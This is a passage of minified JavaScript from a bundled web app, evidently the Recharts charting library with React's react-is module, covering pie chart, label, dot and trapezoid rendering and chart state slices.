e;var{cx:t,cy:n,outerRadius:r}=e,i=r*2;return{x:t-r,y:n-r,width:i,upperWidth:i,lowerWidth:i,height:i}}function PS(e){var t=rn(e,X9),{viewBox:n,parentViewBox:r,position:i,value:a,children:o,content:l,className:c="",textBreakAll:u,labelRef:d}=t,f=V9(),m=W9(),h=i==="center"?m:f??m,x,g,y;n==null?x=h:nc(n)?x=n:x=Ax(n);var v=Z9(x);if(!x||wt(a)&&wt(o)&&!p.isValidElement(l)&&typeof l!="function")return null;var b=Ol(Ol({},t),{},{viewBox:x});if(p.isValidElement(l)){var{labelRef:w}=b,j=Nb(b,L9);return p.cloneElement(l,j)}if(typeof l=="function"){var{content:k}=b,S=Nb(b,I9);if(g=p.createElement(l,S),p.isValidElement(g))return g}else g=H9(t);var N=At(t);if(nc(x)){if(i==="insideStart"||i==="insideEnd"||i==="end")return Y9(t,i,g,N,x);y=G9(x,t.offset,t.position)}else{if(!v)return null;var z=M9({viewBox:v,position:i,offset:t.offset,parentViewBox:nc(r)?void 0:r});y=Ol(Ol({x:z.x,y:z.y,textAnchor:z.horizontalAnchor,verticalAnchor:z.verticalAnchor},z.width!==void 0?{width:z.width}:{}),z.height!==void 0?{height:z.height}:{})}return p.createElement(pi,{zIndex:t.zIndex},p.createElement(W0,xu({ref:d,className:Ve("recharts-label",c)},N,y,{textAnchor:z9(N.textAnchor)?N.textAnchor:y.textAnchor,breakAll:u}),g))}PS.displayName="Label";var ES={},AS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return n[n.length-1]}e.last=t})(AS);var _S={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){return Array.isArray(n)?n:Array.from(n)}e.toArray=t})(_S);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=AS,n=_S,r=td;function i(a){if(r.isArrayLike(a))return t.last(n.toArray(a))}e.last=i})(ES);var Q9=ES.last;const J9=jr(Q9);var e$=["valueAccessor"],t$=["dataKey","clockWise","id","textBreakAll","zIndex"];function vu(){return vu=Object.assign?Object.assign.bind():function(e){for(var t=1;tArray.isArray(e.value)?J9(e.value):e.value,OS=p.createContext(void 0),i$=OS.Provider,TS=p.createContext(void 0),a$=TS.Provider;function s$(){return p.useContext(OS)}function o$(){return p.useContext(TS)}function rc(e){var{valueAccessor:t=r$}=e,n=zb(e,e$),{dataKey:r,clockWise:i,id:a,textBreakAll:o,zIndex:l}=n,c=zb(n,t$),u=s$(),d=o$(),f=u||d;return!f||!f.length?null:p.createElement(pi,{zIndex:l??Rt.label},p.createElement(Wt,{className:"recharts-label-list"},f.map((m,h)=>{var x,g=wt(r)?t(m,h):Le(m.payload,r),y=wt(a)?{}:{id:"".concat(a,"-").concat(h)};return p.createElement(PS,vu({key:"label-".concat(h)},At(m),c,y,{fill:(x=n.fill)!==null&&x!==void 0?x:m.fill,parentViewBox:m.parentViewBox,value:g,textBreakAll:o,viewBox:m.viewBox,index:h,zIndex:0}))})))}rc.displayName="LabelList";function MS(e){var{label:t}=e;return t?t===!0?p.createElement(rc,{key:"labelList-implicit"}):p.isValidElement(t)||K9(t)?p.createElement(rc,{key:"labelList-implicit",content:t}):typeof t=="object"?p.createElement(rc,vu({key:"labelList-implicit"},t,{type:String(t.type)})):null:null}function Jm(){return Jm=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{cx:t,cy:n,r,className:i}=e,a=Ve("recharts-dot",i);return ue(t)&&ue(n)&&ue(r)?p.createElement("circle",Jm({},mr(e),dx(e),{className:a,cx:t,cy:n,r})):null},IS=e=>e.graphicalItems.polarItems,l$=L([He,qo],p0),Ud=L([IS,Ge,l$],m0),c$=L([Ud],h0),Vd=L([c$,Od],x0),u$=L([Vd,Ge,Ud],g0);L([Vd,Ge,Ud],(e,t,n)=>n.length>0?e.flatMap(r=>n.flatMap(i=>{var a,o=Le(r,(a=t.dataKey)!==null&&a!==void 0?a:i.dataKey);return{value:o,errorDomain:[]}})).filter(Boolean):(t==null?void 0:t.dataKey)!=null?e.map(r=>({value:Le(r,t.dataKey),errorDomain:[]})):e.map(r=>({value:r,errorDomain:[]})));var Cb=()=>{},d$=L([Vd,Ge,Ud,Rd,He],j0),f$=L([Ge,b0,w0,Cb,d$,Cb,ze,He],k0),DS=L([Ge,ze,Vd,u$,Ko,He,f$],N0),p$=L([DS,rs,fi],C0),m$=L([Ge,DS,p$,He],E0);L([fi,m$],h4);var h$={radiusAxis:{},angleAxis:{}},RS=Ut({name:"polarAxis",initialState:h$,reducers:{addRadiusAxis(e,t){e.radiusAxis[t.payload.id]=t.payload},removeRadiusAxis(e,t){delete e.radiusAxis[t.payload.id]},addAngleAxis(e,t){e.angleAxis[t.payload.id]=t.payload},removeAngleAxis(e,t){delete e.angleAxis[t.payload.id]}}}),{addRadiusAxis:yV,removeRadiusAxis:bV,addAngleAxis:wV,removeAngleAxis:jV}=RS.actions,x$=RS.reducer;function v$(e){return e&&typeof e=="object"&&"className"in e&&typeof e.className=="string"?e.className:""}function Pb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Eb(e){for(var t=1;tt,U0=L([IS,w$],(e,t)=>e.filter(n=>n.type==="pie").find(n=>n.id===t)),j$=[],V0=(e,t,n)=>(n==null?void 0:n.length)===0?j$:n,$S=L([Od,U0,V0],(e,t,n)=>{var{chartData:r}=e;if(t!=null){var i;if((t==null?void 0:t.data)!=null&&t.data.length>0?i=t.data:i=r,(!i||!i.length)&&n!=null&&(i=n.map(a=>Eb(Eb({},t.presentationProps),a.props))),i!=null)return i}}),k$=L([$S,U0,V0],(e,t,n)=>{if(!(e==null||t==null))return e.map((r,i)=>{var a,o=Le(r,t.nameKey,t.name),l;return n!=null&&(a=n[i])!==null&&a!==void 0&&(a=a.props)!==null&&a!==void 0&&a.fill?l=n[i].props.fill:typeof r=="object"&&r!=null&&"fill"in r?l=r.fill:l=t.fill,{value:md(o,t.dataKey),color:l,payload:r,type:t.legendType}})}),N$=L([$S,U0,V0,ft],(e,t,n,r)=>{if(!(t==null||e==null))return EB({offset:r,pieSettings:t,displayedData:e,cells:n})}),BS={exports:{}},Ce={};/** + * @license React + * react-is.production.js + * + * Copyright (c) Meta Platforms, Inc. and affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var H0=Symbol.for("react.transitional.element"),K0=Symbol.for("react.portal"),Hd=Symbol.for("react.fragment"),Kd=Symbol.for("react.strict_mode"),qd=Symbol.for("react.profiler"),Yd=Symbol.for("react.consumer"),Gd=Symbol.for("react.context"),Xd=Symbol.for("react.forward_ref"),Zd=Symbol.for("react.suspense"),Qd=Symbol.for("react.suspense_list"),Jd=Symbol.for("react.memo"),ef=Symbol.for("react.lazy"),S$=Symbol.for("react.view_transition"),z$=Symbol.for("react.client.reference");function bn(e){if(typeof e=="object"&&e!==null){var t=e.$$typeof;switch(t){case H0:switch(e=e.type,e){case Hd:case qd:case Kd:case Zd:case Qd:case S$:return e;default:switch(e=e&&e.$$typeof,e){case Gd:case Xd:case ef:case Jd:return e;case Yd:return e;default:return t}}case K0:return t}}}Ce.ContextConsumer=Yd;Ce.ContextProvider=Gd;Ce.Element=H0;Ce.ForwardRef=Xd;Ce.Fragment=Hd;Ce.Lazy=ef;Ce.Memo=Jd;Ce.Portal=K0;Ce.Profiler=qd;Ce.StrictMode=Kd;Ce.Suspense=Zd;Ce.SuspenseList=Qd;Ce.isContextConsumer=function(e){return bn(e)===Yd};Ce.isContextProvider=function(e){return bn(e)===Gd};Ce.isElement=function(e){return typeof e=="object"&&e!==null&&e.$$typeof===H0};Ce.isForwardRef=function(e){return bn(e)===Xd};Ce.isFragment=function(e){return bn(e)===Hd};Ce.isLazy=function(e){return bn(e)===ef};Ce.isMemo=function(e){return bn(e)===Jd};Ce.isPortal=function(e){return bn(e)===K0};Ce.isProfiler=function(e){return bn(e)===qd};Ce.isStrictMode=function(e){return bn(e)===Kd};Ce.isSuspense=function(e){return bn(e)===Zd};Ce.isSuspenseList=function(e){return bn(e)===Qd};Ce.isValidElementType=function(e){return typeof e=="string"||typeof e=="function"||e===Hd||e===qd||e===Kd||e===Zd||e===Qd||typeof e=="object"&&e!==null&&(e.$$typeof===ef||e.$$typeof===Jd||e.$$typeof===Gd||e.$$typeof===Yd||e.$$typeof===Xd||e.$$typeof===z$||e.getModuleId!==void 0)};Ce.typeOf=bn;BS.exports=Ce;var C$=BS.exports,Ab=e=>typeof e=="string"?e:e?e.displayName||e.name||"Component":"",_b=null,Jf=null,FS=e=>{if(e===_b&&Array.isArray(Jf))return Jf;var t=[];return p.Children.forEach(e,n=>{wt(n)||(C$.isFragment(n)?t=t.concat(FS(n.props.children)):t.push(n))}),Jf=t,_b=e,t};function WS(e,t){var n=[],r=[];return Array.isArray(t)?r=t.map(i=>Ab(i)):r=[Ab(t)],FS(e).forEach(i=>{var a=mo(i,"type.displayName")||mo(i,"type.name");a&&r.indexOf(a)!==-1&&n.push(i)}),n}var US=e=>e&&typeof e=="object"&&"clipDot"in e?!!e.clipDot:!0,VS={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n){var i;if(typeof n!="object"||n==null)return!1;if(Object.getPrototypeOf(n)===null)return!0;if(Object.prototype.toString.call(n)!=="[object Object]"){const a=n[Symbol.toStringTag];return a==null||!((i=Object.getOwnPropertyDescriptor(n,Symbol.toStringTag))!=null&&i.writable)?!1:n.toString()===`[object ${a}]`}let r=n;for(;Object.getPrototypeOf(r)!==null;)r=Object.getPrototypeOf(r);return Object.getPrototypeOf(n)===r}e.isPlainObject=t})(VS);var P$=VS.isPlainObject;const E$=jr(P$);var Ob,Tb,Mb,Lb,Ib;function Db(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Rb(e){for(var t=1;t{var a=n-r,o;return o=Ke(Ob||(Ob=Ss(["M ",",",""])),e,t),o+=Ke(Tb||(Tb=Ss(["L ",",",""])),e+n,t),o+=Ke(Mb||(Mb=Ss(["L ",",",""])),e+n-a/2,t+i),o+=Ke(Lb||(Lb=Ss(["L ",",",""])),e+n-a/2-r,t+i),o+=Ke(Ib||(Ib=Ss(["L ",","," Z"])),e,t),o},T$={x:0,y:0,upperWidth:0,lowerWidth:0,height:0,isUpdateAnimationActive:!1,animationBegin:0,animationDuration:1500,animationEasing:"ease"},M$=e=>{var t=rn(e,T$),{x:n,y:r,upperWidth:i,lowerWidth:a,height:o,className:l}=t,{animationEasing:c,animationDuration:u,animationBegin:d,isUpdateAnimationActive:f}=t,m=p.useRef(null),[h,x]=p.useState(-1),g=p.useRef(i),y=p.useRef(a),v=p.useRef(o),b=p.useRef(n),w=p.useRef(r),j=Sd(e,"trapezoid-");if(p.useEffect(()=>{if(m.current&&m.current.getTotalLength)try{var K=m.current.getTotalLength();K&&x(K)}catch{}},[]),n!==+n||r!==+r||i!==+i||a!==+a||o!==+o||i===0&&a===0||o===0)return null;var k=Ve("recharts-trapezoid",l);if(!f)return p.createElement("g",null,p.createElement("path",gu({},At(t),{className:k,d:$b(n,r,i,a,o)})));var S=g.current,N=y.current,z=v.current,O=b.current,_=w.current,T="0px ".concat(h===-1?1:h,"px"),E="".concat(h,"px 0px"),U=nN(["strokeDasharray"],u,c);return p.createElement(Nd,{animationId:j,key:j,canBegin:h>0,duration:u,easing:c,isActive:f,begin:d},K=>{var R=gt(S,i,K),I=gt(N,a,K),F=gt(z,o,K),B=gt(O,n,K),V=gt(_,r,K);m.current&&(g.current=R,y.current=I,v.current=F,b.current=B,w.current=V);var $=K>0?{transition:U,strokeDasharray:E}:{strokeDasharray:T};return p.createElement("path",gu({},At(t),{className:k,d:$b(B,V,R,I,F),ref:m,style:Rb(Rb({},$),t.style)}))})},L$=["option","shapeType","activeClassName"];function I$(e,t){if(e==null)return{};var n,r,i=D$(e,t);if(Object.getOwnPropertySymbols){var a=Object.getOwnPropertySymbols(e);for(r=0;r{var r=Qe();return(i,a)=>o=>{e==null||e(i,a,o),r(K4({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}},K$=e=>{var t=Qe();return(n,r)=>i=>{e==null||e(n,r,i),t(Z7())}},q$=(e,t,n)=>{var r=Qe();return(i,a)=>o=>{e==null||e(i,a,o),r(Q7({activeIndex:String(a),activeDataKey:t,activeCoordinate:i.tooltipPosition,activeGraphicalItemId:n}))}};function HS(e){var{tooltipEntrySettings:t}=e,n=Qe(),r=In(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(q7(t)):i.current!==t&&n(Y7({prev:i.current,next:t})),i.current=t)},[t,n,r]),p.useLayoutEffect(()=>()=>{i.current&&(n(G7(i.current)),i.current=null)},[n]),null}function Y$(e){var{legendPayload:t}=e,n=Qe(),r=In(),i=p.useRef(null);return p.useLayoutEffect(()=>{r||(i.current===null?n(Qk(t)):i.current!==t&&n(Jk({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(eN(i.current)),i.current=null)},[n]),null}function G$(e){var{legendPayload:t}=e,n=Qe(),r=pe(ze),i=p.useRef(null);return p.useLayoutEffect(()=>{r!=="centric"&&r!=="radial"||(i.current===null?n(Qk(t)):i.current!==t&&n(Jk({prev:i.current,next:t})),i.current=t)},[n,r,t]),p.useLayoutEffect(()=>()=>{i.current&&(n(eN(i.current)),i.current=null)},[n]),null}var ep,X$=()=>{var[e]=p.useState(()=>ho("uid-"));return e},Z$=(ep=A2.useId)!==null&&ep!==void 0?ep:X$;function Q$(e,t){var n=Z$();return t||(e?"".concat(e,"-").concat(n):n)}var J$=p.createContext(void 0),KS=e=>{var{id:t,type:n,children:r}=e,i=Q$("recharts-".concat(n),t);return p.createElement(J$.Provider,{value:i},r(i))},eB={cartesianItems:[],polarItems:[]},qS=Ut({name:"graphicalItems",initialState:eB,reducers:{addCartesianGraphicalItem:{reducer(e,t){e.cartesianItems.push(t.payload)},prepare:De()},replaceCartesianGraphicalItem:{reducer(e,t){var{prev:n,next:r}=t.payload,i=_n(e).cartesianItems.indexOf(n);i>-1&&(e.cartesianItems[i]=r)},prepare:De()},removeCartesianGraphicalItem:{reducer(e,t){var n=_n(e).cartesianItems.indexOf(t.payload);n>-1&&e.cartesianItems.splice(n,1)},prepare:De()},addPolarGraphicalItem:{reducer(e,t){e.polarItems.push(t.payload)},prepare:De()},removePolarGraphicalItem:{reducer(e,t){var n=_n(e).polarItems.indexOf(t.payload);n>-1&&e.polarItems.splice(n,1)},prepare:De()}}}),{addCartesianGraphicalItem:tB,replaceCartesianGraphicalItem:nB,removeCartesianGraphicalItem:rB,addPolarGraphicalItem:iB,removePolarGraphicalItem:aB}=qS.actions,sB=qS.reducer,oB=e=>{var t=Qe(),n=p.useRef(null);return p.useLayoutEffect(()=>{n.current===null?t(tB(e)):n.current!==e&&t(nB({prev:n.current,next:e})),n.current=e},[t,e]),p.useLayoutEffect(()=>()=>{n.current&&(t(rB(n.current)),n.current=null)},[t]),null},lB=p.memo(oB);function cB(e){var t=Qe();return p.useLayoutEffect(()=>(t(iB(e)),()=>{t(aB(e))}),[t,e]),null}var uB=["key"],dB=["onMouseEnter","onClick","onMouseLeave"],fB=["id"],pB=["id"];function Wb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Ye(e){for(var t=1;tWS(e.children,Wd),[e.children]),n=pe(r=>k$(r,e.id,t));return n==null?null:p.createElement(G$,{legendPayload:n})}var yB=p.memo(e=>{var{dataKey:t,nameKey:n,sectors:r,stroke:i,strokeWidth:a,fill:o,name:l,hide:c,tooltipType:u,id:d}=e,f={dataDefinedOnItem:r.map(m=>m.tooltipPayload),getPosition:m=>{var h;return(h=r[Number(m)])===null||h===void 0?void 0:h.tooltipPosition},settings:{stroke:i,strokeWidth:a,fill:o,dataKey:t,nameKey:n,name:md(l,t),hide:c,type:u,color:o,unit:"",graphicalItemId:d}};return p.createElement(HS,{tooltipEntrySettings:f})}),bB=(e,t)=>e>t?"start":eZt(typeof t=="function"?t(e):t,n,n*.8),jB=(e,t,n)=>{var{top:r,left:i,width:a,height:o}=t,l=oN(a,o),c=i+Zt(e.cx,a,a/2),u=r+Zt(e.cy,o,o/2),d=Zt(e.innerRadius,l,0),f=wB(n,e.outerRadius,l),m=e.maxRadius||Math.sqrt(a*a+o*o)/2;return{cx:c,cy:u,innerRadius:d,outerRadius:f,maxRadius:m}},kB=(e,t)=>{var n=It(t-e),r=Math.min(Math.abs(t-e),360);return n*r},NB=(e,t)=>{if(p.isValidElement(e))return p.cloneElement(e,t);if(typeof e=="function")return e(t);var n=Ve("recharts-pie-label-line",typeof e!="boolean"?e.className:""),{key:r}=t,i=tf(t,uB);return p.createElement(Pa,si({},i,{type:"linear",className:n}))},SB=(e,t,n)=>{if(p.isValidElement(e))return p.cloneElement(e,t);var r=n;if(typeof e=="function"&&(r=e(t),p.isValidElement(r)))return r;var i=Ve("recharts-pie-label-text",v$(e));return p.createElement(W0,si({},t,{alignmentBaseline:"middle",className:i}),r)};function zB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i,labelLine:a,dataKey:o}=n;if(!r||!i||!t)return null;var l=mr(n),c=po(i),u=po(a),d=typeof i=="object"&&"offsetRadius"in i&&typeof i.offsetRadius=="number"&&i.offsetRadius||20,f=t.map((m,h)=>{var x=(m.startAngle+m.endAngle)/2,g=et(m.cx,m.cy,m.outerRadius+d,x),y=Ye(Ye(Ye(Ye({},l),m),{},{stroke:"none"},c),{},{index:h,textAnchor:bB(g.x,m.cx)},g),v=Ye(Ye(Ye(Ye({},l),m),{},{fill:"none",stroke:m.fill},u),{},{index:h,points:[et(m.cx,m.cy,m.outerRadius,x),g],key:"line"});return p.createElement(pi,{zIndex:Rt.label,key:"label-".concat(m.startAngle,"-").concat(m.endAngle,"-").concat(m.midAngle,"-").concat(h)},p.createElement(Wt,null,a&&NB(a,v),SB(i,y,Le(m,o))))});return p.createElement(Wt,{className:"recharts-pie-labels"},f)}function CB(e){var{sectors:t,props:n,showLabels:r}=e,{label:i}=n;return typeof i=="object"&&i!=null&&"position"in i?p.createElement(MS,{label:i}):p.createElement(zB,{sectors:t,props:n,showLabels:r})}function PB(e){var{sectors:t,activeShape:n,inactiveShape:r,allOtherPieProps:i,shape:a,id:o}=e,l=pe(Va),c=pe(oS),u=pe(DD),{onMouseEnter:d,onClick:f,onMouseLeave:m}=i,h=tf(i,dB),x=H$(d,i.dataKey,o),g=K$(m),y=q$(f,i.dataKey,o);return t==null||t.length===0?null:p.createElement(p.Fragment,null,t.map((v,b)=>{if((v==null?void 0:v.startAngle)===0&&(v==null?void 0:v.endAngle)===0&&t.length!==1)return null;var w=u==null||u===o,j=String(b)===l&&(c==null||i.dataKey===c)&&w,k=l?r:null,S=n&&j?n:k,N=Ye(Ye({},v),{},{stroke:v.stroke,tabIndex:-1,[Ik]:b,[Dk]:o});return p.createElement(Wt,si({key:"sector-".concat(v==null?void 0:v.startAngle,"-").concat(v==null?void 0:v.endAngle,"-").concat(v.midAngle,"-").concat(b),tabIndex:-1,className:"recharts-pie-sector"},H_(h,v,b),{onMouseEnter:x(v,b),onMouseLeave:g(v,b),onClick:y(v,b)}),p.createElement(V$,si({option:a??S,index:b,shapeType:"sector",isActive:j},N)))}))}function EB(e){var t,{pieSettings:n,displayedData:r,cells:i,offset:a}=e,{cornerRadius:o,startAngle:l,endAngle:c,dataKey:u,nameKey:d,tooltipType:f}=n,m=Math.abs(n.minAngle),h=kB(l,c),x=Math.abs(h),g=r.length<=1?0:(t=n.paddingAngle)!==null&&t!==void 0?t:0,y=r.filter(S=>Le(S,u,0)!==0).length,v=(x>=360?y:y-1)*g,b=x-y*m-v,w=r.reduce((S,N)=>{var z=Le(N,u,0);return S+(ue(z)?z:0)},0),j;if(w>0){var k;j=r.map((S,N)=>{var z=Le(S,u,0),O=Le(S,d,N),_=jB(n,a,S),T=(ue(z)?z:0)/w,E,U=Ye(Ye({},S),i&&i[N]&&i[N].props);N?E=k.endAngle+It(h)*g*(z!==0?1:0):E=l;var K=E+It(h)*((z!==0?m:0)+T*b),R=(E+K)/2,I=(_.innerRadius+_.outerRadius)/2,F=[{name:O,value:z,payload:U,dataKey:u,type:f,graphicalItemId:n.id}],B=et(_.cx,_.cy,I,R);return k=Ye(Ye(Ye(Ye({},n.presentationProps),{},{percent:T,cornerRadius:typeof o=="string"?parseFloat(o):o,name:O,tooltipPayload:F,midAngle:R,middleRadius:I,tooltipPosition:B},U),_),{},{value:z,dataKey:u,startAngle:E,endAngle:K,payload:U,paddingAngle:It(h)*g}),k})}return j}function AB(e){var{showLabels:t,sectors:n,children:r}=e,i=p.useMemo(()=>!t||!n?[]:n.map(a=>({value:a.value,payload:a.payload,clockWise:!1,parentViewBox:void 0,viewBox:{cx:a.cx,cy:a.cy,innerRadius:a.innerRadius,outerRadius:a.outerRadius,startAngle:a.startAngle,endAngle:a.endAngle,clockWise:!1},fill:a.fill})),[n,t]);return p.createElement(a$,{value:t?i:void 0},r)}function _B(e){var{props:t,previousSectorsRef:n,id:r}=e,{sectors:i,isAnimationActive:a,animationBegin:o,animationDuration:l,animationEasing:c,activeShape:u,inactiveShape:d,onAnimationStart:f,onAnimationEnd:m}=t,h=Sd(t,"recharts-pie-"),x=n.current,[g,y]=p.useState(!1),v=p.useCallback(()=>{typeof m=="function"&&m(),y(!1)},[m]),b=p.useCallback(()=>{typeof f=="function"&&f(),y(!0)},[f]);return p.createElement(AB,{showLabels:!g,sectors:i},p.createElement(Nd,{animationId:h,begin:o,duration:l,isActive:a,easing:c,onAnimationStart:b,onAnimationEnd:v,key:h},w=>{var j,k=[],S=i&&i[0],N=(j=S==null?void 0:S.startAngle)!==null&&j!==void 0?j:0;return i==null||i.forEach((z,O)=>{var _=x&&x[O],T=O>0?mo(z,"paddingAngle",0):0;if(_){var E=gt(_.endAngle-_.startAngle,z.endAngle-z.startAngle,w),U=Ye(Ye({},z),{},{startAngle:N+T,endAngle:N+E+T});k.push(U),N=U.endAngle}else{var{endAngle:K,startAngle:R}=z,I=gt(0,K-R,w),F=Ye(Ye({},z),{},{startAngle:N+T,endAngle:N+I+T});k.push(F),N=F.endAngle}}),n.current=k,p.createElement(Wt,null,p.createElement(PB,{sectors:k,activeShape:u,inactiveShape:d,allOtherPieProps:t,shape:t.shape,id:r}))}),p.createElement(CB,{showLabels:!g,sectors:i,props:t}),t.children)}var OB={animationBegin:400,animationDuration:1500,animationEasing:"ease",cx:"50%",cy:"50%",dataKey:"value",endAngle:360,fill:"#808080",hide:!1,innerRadius:0,isAnimationActive:"auto",label:!1,labelLine:!0,legendType:"rect",minAngle:0,nameKey:"name",outerRadius:"80%",paddingAngle:0,rootTabIndex:0,startAngle:0,stroke:"#fff",zIndex:Rt.area};function TB(e){var{id:t}=e,n=tf(e,fB),{hide:r,className:i,rootTabIndex:a}=e,o=p.useMemo(()=>WS(e.children,Wd),[e.children]),l=pe(d=>N$(d,t,o)),c=p.useRef(null),u=Ve("recharts-pie",i);return r||l==null?(c.current=null,p.createElement(Wt,{tabIndex:a,className:u})):p.createElement(pi,{zIndex:e.zIndex},p.createElement(yB,{dataKey:e.dataKey,nameKey:e.nameKey,sectors:l,stroke:e.stroke,strokeWidth:e.strokeWidth,fill:e.fill,name:e.name,hide:e.hide,tooltipType:e.tooltipType,id:t}),p.createElement(Wt,{tabIndex:a,className:u},p.createElement(_B,{props:Ye(Ye({},n),{},{sectors:l}),previousSectorsRef:c,id:t})))}function YS(e){var t=rn(e,OB),{id:n}=t,r=tf(t,pB),i=mr(r);return p.createElement(KS,{id:n,type:"pie"},a=>p.createElement(p.Fragment,null,p.createElement(cB,{type:"pie",id:a,data:r.data,dataKey:r.dataKey,hide:r.hide,angleAxisId:0,radiusAxisId:0,name:r.name,nameKey:r.nameKey,tooltipType:r.tooltipType,legendType:r.legendType,fill:r.fill,cx:r.cx,cy:r.cy,startAngle:r.startAngle,endAngle:r.endAngle,paddingAngle:r.paddingAngle,minAngle:r.minAngle,innerRadius:r.innerRadius,outerRadius:r.outerRadius,cornerRadius:r.cornerRadius,presentationProps:i,maxRadius:t.maxRadius}),p.createElement(gB,si({},r,{id:a})),p.createElement(TB,si({},r,{id:a}))))}YS.displayName="Pie";var MB=["points"];function Ub(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function tp(e){for(var t=1;t{var y,v,b=tp(tp(tp({r:3},o),f),{},{index:g,cx:(y=x.x)!==null&&y!==void 0?y:void 0,cy:(v=x.y)!==null&&v!==void 0?v:void 0,dataKey:a,value:x.value,payload:x.payload,points:t});return p.createElement(BB,{key:"dot-".concat(g),option:n,dotProps:b,className:i})}),h={};return l&&c!=null&&(h.clipPath="url(#clipPath-".concat(d?"":"dots-").concat(c,")")),p.createElement(pi,{zIndex:u},p.createElement(Wt,bu({className:r},h),m))}function Vb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Hb(e){for(var t=1;t({top:e.top,bottom:e.bottom,left:e.left,right:e.right})),GB=L([YB,Sr,zr],(e,t,n)=>{if(!(!e||t==null||n==null))return{x:e.left,y:e.top,width:Math.max(0,t-e.left-e.right),height:Math.max(0,n-e.top-e.bottom)}}),q0=()=>pe(GB),XB=()=>pe(WD);function Kb(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function np(e){for(var t=1;t{var{point:t,childIndex:n,mainColor:r,activeDot:i,dataKey:a,clipPath:o}=e;if(i===!1||t.x==null||t.y==null)return null;var l={index:n,dataKey:a,cx:t.x,cy:t.y,r:4,fill:r??"none",strokeWidth:2,stroke:"#fff",payload:t.payload,value:t.value},c=np(np(np({},l),po(i)),dx(i)),u;return p.isValidElement(i)?u=p.cloneElement(i,c):typeof i=="function"?u=i(c):u=p.createElement(LS,c),p.createElement(Wt,{className:"recharts-active-dot",clipPath:o},u)};function qb(e){var{points:t,mainColor:n,activeDot:r,itemDataKey:i,clipPath:a,zIndex:o=Rt.activeDot}=e,l=pe(Va),c=XB();if(t==null||c==null)return null;var u=t.find(d=>c.includes(d.payload));return wt(u)?null:p.createElement(pi,{zIndex:o},p.createElement(eF,{point:u,childIndex:Number(l),mainColor:n,dataKey:i,activeDot:r,clipPath:a}))}var ZS=e=>{var{chartData:t}=e,n=Qe(),r=In();return p.useEffect(()=>r?()=>{}:(n(sb(t)),()=>{n(sb(void 0))}),[t,n,r]),null},Yb={x:0,y:0,width:0,height:0,padding:{top:0,right:0,bottom:0,left:0}},QS=Ut({name:"brush",initialState:Yb,reducers:{setBrushSettings(e,t){return t.payload==null?Yb:t.payload}}}),{setBrushSettings:TV}=QS.actions,tF=QS.reducer,nF={dots:[],areas:[],lines:[]},JS=Ut({name:"referenceElements",initialState:nF,reducers:{addDot:(e,t)=>{e.dots.push(t.payload)},removeDot:(e,t)=>{var n=_n(e).dots.findIndex(r=>r===t.payload);n!==-1&&e.dots.splice(n,1)},addArea:(e,t)=>{e.areas.push(t.payload)},removeArea:(e,t)=>{var n=_n(e).areas.findIndex(r=>r===t.payload);n!==-1&&e.areas.splice(n,1)},addLine:(e,t)=>{e.lines.push(t.payload)},removeLine:(e,t)=>{var n=_n(e).lines.findIndex(r=>r===t.payload);n!==-1&&e.lines.splice(n,1)}}}),{addDot:MV,removeDot:LV,addArea:IV,removeArea:DV,addLine:RV,removeLine:$V}=JS.actions,rF=JS.reducer,iF=p.createContext(void 0),aF=e=>{var{children:t}=e,[n]=p.useState("".concat(ho("recharts"),"-clip")),r=q0();if(r==null)return null;var{x:i,y:a,width:o,height:l}=r;return p.createElement(iF.Provider,{value:n},p.createElement("defs",null,p.createElement("clipPath",{id:n},p.createElement("rect",{x:i,y:a,height:l,width:o}))),t)},sF={},e3=Ut({name:"errorBars",initialState:sF,reducers:{addErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]||(e[n]=[]),e[n].push(r)},replaceErrorBar:(e,t)=>{var{itemId:n,prev:r,next:i}=t.payload;e[n]&&(e[n]=e[n].map(a=>a.dataKey===r.dataKey&&a.direction===r.direction?i:a))},removeErrorBar:(e,t)=>{var{itemId:n,errorBar:r}=t.payload;e[n]&&(e[n]=e[n].filter(i=>i.dataKey!==r.dataKey||i.direction!==r.direction))}}}),{addErrorBar:BV,replaceErrorBar:FV,removeErrorBar:WV}=e3.actions,oF=e3.reducer;function t3(e,t){var n,r,i=pe(u=>Er(u,e)),a=pe(u=>Ar(u,t)),o=(n=i==null?void 0:i.allowDataOverflow)!==null&&n!==void 0?n:x4.allowDataOverflow,l=(r=a==null?void 0:a.allowDataOverflow)!==null&&r!==void 0?r:v4.allowDataOverflow,c=o||l;return{needClip:c,needClipX:o,needClipY:l}}function 